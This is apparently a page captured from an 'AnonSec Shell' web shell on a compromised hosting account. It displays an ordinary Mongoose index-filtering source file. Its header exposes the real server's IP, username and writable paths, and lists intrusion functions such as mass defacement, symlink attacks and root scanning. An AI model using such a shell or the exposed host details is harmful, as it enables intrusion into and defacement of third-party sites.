AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.118.19.210   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/needapair.com/node_modules/mongoose/lib/helpers/indexes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/needapair.com/node_modules/mongoose/lib/helpers/indexes/getRelatedIndexes.js
'use strict';

const hasDollarKeys = require('../query/hasDollarKeys');

function getRelatedSchemaIndexes(model, schemaIndexes) {
  return getRelatedIndexes({
    baseModelName: model.baseModelName,
    discriminatorMapping: model.schema.discriminatorMapping,
    indexes: schemaIndexes,
    indexesType: 'schema'
  });
}

function getRelatedDBIndexes(model, dbIndexes) {
  return getRelatedIndexes({
    baseModelName: model.baseModelName,
    discriminatorMapping: model.schema.discriminatorMapping,
    indexes: dbIndexes,
    indexesType: 'db'
  });
}

module.exports = {
  getRelatedSchemaIndexes,
  getRelatedDBIndexes
};

function getRelatedIndexes({
  baseModelName,
  discriminatorMapping,
  indexes,
  indexesType
}) {
  const discriminatorKey = discriminatorMapping && discriminatorMapping.key;
  const discriminatorValue = discriminatorMapping && discriminatorMapping.value;

  if (!discriminatorKey) {
    return indexes;
  }

  const isChildDiscriminatorModel = Boolean(baseModelName);
  if (isChildDiscriminatorModel) {
    return indexes.filter(index => {
      const partialFilterExpression = getPartialFilterExpression(index, indexesType);
      return partialFilterExpression && partialFilterExpression[discriminatorKey] === discriminatorValue;
    });
  }

  return indexes.filter(index => {
    const partialFilterExpression = getPartialFilterExpression(index, indexesType);
    return !partialFilterExpression
      || !partialFilterExpression[discriminatorKey]
      || (hasDollarKeys(partialFilterExpression[discriminatorKey]) && !('$eq' in partialFilterExpression[discriminatorKey]));
  });
}

function getPartialFilterExpression(index, indexesType) {
  if (indexesType === 'schema') {
    const options = index[1];
    return options && options.partialFilterExpression;
  }
  return index.partialFilterExpression;
}

Anon7 - 2022
AnonSec Team